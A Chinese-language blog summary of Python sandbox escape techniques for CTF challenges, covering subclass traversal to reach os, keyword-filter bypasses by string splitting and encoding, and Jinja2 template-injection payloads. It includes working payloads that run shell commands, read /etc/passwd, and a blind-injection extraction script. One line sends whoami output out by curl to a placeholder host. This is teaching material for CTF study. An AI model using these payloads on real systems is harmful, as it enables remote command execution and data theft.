python沙盒总结

本文主要讲python沙盒bypass,最早接触的一道有关沙盒绕过的题,来源于国赛,那也是我第一场CTF比赛,可是当时一道题都没有做出来,后面的XMAN选拔赛、还有最近的网鼎杯都有python沙盒的题,那就写一下总结吧。

题目大多都禁用相关关键字、库、函数,甚至禁用了reload,导致不能重载。
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。

这种题一般的解题思路,就是变量->对象->基类->子类遍历->全局变量 ,在这个流程中找到我们想要的模块或者函数。

基础知识

在启动python解释器之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,这些函数就是内建函数,并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用

1、查看当前内存空间可以调用的模块
image.png

image.png
不管是哪个版本,这里我们可以看到__builtins__都是默认在启动解释器之后已经导入内存中的,下面我看看__builtins__有哪些属性和方法。

image.png

可以看到,这里有不少我们常用到的函数,eval()、print()、hex()等等,最最主要的还是__import__函数,有了它,我们就可以导入任意我们想要的库。

2、类的继承

首先,python中一切均为对象,均继承object对象,python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下

1
2
3
4
5
6
7
8
[].__class__.__bases__[0]
[].__class__.__base__
''.__class__.__mro__[-1]

>>> [].__class__.__bases__[0]
<type 'object'>
>>> ''.__class__.__mro__[-1]
<type 'object'>

image.png

然后可以看到存在一个hook函数,直接调用
image.png

这里有个小窍门,如果想要找到你想找的模块,可以用or(手算)

1
2
3
4
5
6
7
8
9
10
11
12
[].__class__.__base__.__subclasses__().index(模块名)
eg:
>>> [].__class__.__base__.__subclasses__().index(file)
40

存在file类型的object,事实上调用后可以对文件操作了
//读文件
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
().__class__.__base__.__subclasses__().pop(40)('/etc/passwd').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

fuzz脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in [].__class__.__base__.__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print cnt,item
cnt+=1
except:
print "error",cnt,item
cnt+=1
continue

这段代码的目的就是找到调用 os 模块的入口,当然我们只要把os 替换成sys 等其他模块也能得到对应的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in "".__class__.__mro__[-1].__subclasses__():
try:
cnt2=0
for i in item.__init__.__globals__:
if 'eval' in item.__init__.__globals__[i]:
print cnt,item,cnt2,i
cnt2+=1
cnt+=1
except:
print "error",cnt,item
cnt+=1
continue

这第二个脚本相当于就是跑了两层。

3、__globals__:
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量

4、命令执行

在了解了3之后,接下来。python里面的内置模块本身调用os模块等可以命令执行的库,这也给我们创造了条件。

这里直接给出三个内置模块

1
2
3
<class 'site._Printer'>
<class 'site.Quitter'>
<class 'warnings.catch_warnings'>

这里我拿<class ‘warnings.catch_warnings’>举个例子,其他苟同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
>>> [].__class__.__base__.__subclasses__()[60]
<class 'warnings.catch_warnings'>

>>> dir([].__class__.__base__.__subclasses__()[60])
['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']

这里我们定位到__init__函数,这里给一个小窍门,如何判断是函数还是对象,函数总会有一个__call__方法,对象没有哦
>>> dir([].__class__.__base__.__subclasses__()[60].__init__)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__format__', '__func__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'im_class', 'im_func', 'im_self']

引用os库
>>> [].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']
<module 'os' from 'C:\Python27\lib\os.pyc'>

接下来就可以执行命令了,这里是在windows做的实验
>>> [].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')
驱动器 C 中的卷是 Windows
卷的序列号是 9C2D-EC86

C:\Users\wuli丶Decade 的目录

2018/08/24 17:04 <DIR> .
2018/08/24 17:04 <DIR> ..
2017/08/04 20:13 <DIR> .android
2017/12/17 12:48 <DIR> .eclipse

#下面也是可以执行任意命令,这里就不一一阐述了,道理类似
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('dir')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

#python3
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']

下面讲一下一些像禁用了ls、cat、os等关键字bypass

很显然,下面三条都有关键字ls,因此无法绕过waf

1
2
3
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

方法:
1、getattribute+字符串拼接
这里为什么想到__getattribute__呢?

1
2
3
4
5
6
7
8
9
10
通过dir()看下实例,类,函数里的情况,都能看到__getattribute__这个魔术方法的存在
>>> dir([]) #实例
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__',...


>>> dir([].__class__) #类
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__',...

>>> dir([].append) #函数
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__'...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('dir')

>>> [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('func_global'+'s')['os'].system('dir')
驱动器 C 中的卷是 Windows
卷的序列号是 9C2D-EC86

C:\Users\wuli丶Decade 的目录

2018/08/24 17:04 <DIR> .
2018/08/24 17:04 <DIR> ..
2017/08/04 20:13 <DIR> .android
2017/12/17 12:48 <DIR> .eclipse
2018/03/06 21:55 <DIR> .gimp-2.8
2018/03/06 19:36 29 .gtk-bookmarks
2017/12/28 20:13 <DIR> .idlerc

2、编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> a="emit"
>>> b=a[::-1]
>>> b
'time'

>>> ('5f5f676c6f62616c735f5f').decode('hex')
'__globals__'

>>> ('X19nbG9iYWxzX18=').decode('base64')
'__globals__'

>>> ('__tybonyf__').decode('rot13')
u'__globals__'

所以,剩下的一样

1
2
3
4
5
6
7
8
9
10
11
12
>>> [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('5f5f676c6f62616c735f5f'.decode('hex'))['os'].system('dir')
驱动器 C 中的卷是 Windows
卷的序列号是 9C2D-EC86

C:\Users\wuli丶Decade 的目录

2018/08/24 17:04 <DIR> .
2018/08/24 17:04 <DIR> ..
2017/08/04 20:13 <DIR> .android
2017/12/17 12:48 <DIR> .eclipse
2018/03/06 21:55 <DIR> .gimp-2.8
2018/03/06 19:36 29 .gtk-bookmarks

下面讲一下禁用了关键字符的bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
1. 过滤[
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

2. 过滤引号
先获取chr函数,赋值给chr,后面拼接字符串就好了:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
#借助request对象(推荐):
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

3. 过滤双下划线__
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

4. 过滤{{
相当于盲命令执行,利用curl将执行结果带出来
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:port?i=`whoami`').read()=='p' %}1{% endif %}

or盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}wuli_decade{% endif %}

脚本如下:
# -*- coding: utf-8 -*-
import requests


url = 'http://127.0.0.1:80/'

def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return 'wuli_decade' in r

password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}wuli_decade{% endif %}'
if check(payload):
password += c
break
print password




5、过滤了{{ 、__
参考网鼎杯mmmmy题:https://www.jianshu.com/p/34905d56256d

参考:
禁用import的情况下绕过python沙箱
0x03:南京day4
python沙盒的几种绕过方式
python沙箱逃逸小结
PY交易之简单沙盒绕过
Python沙箱逃逸的n种姿势
python沙盒绕过
Python沙箱逃逸的一些方法
Flask/Jinja2模板注入中的一些绕过姿势

END

第一次写文章,如有错误,欢迎指出

-------------本文结束感谢您的阅读-------------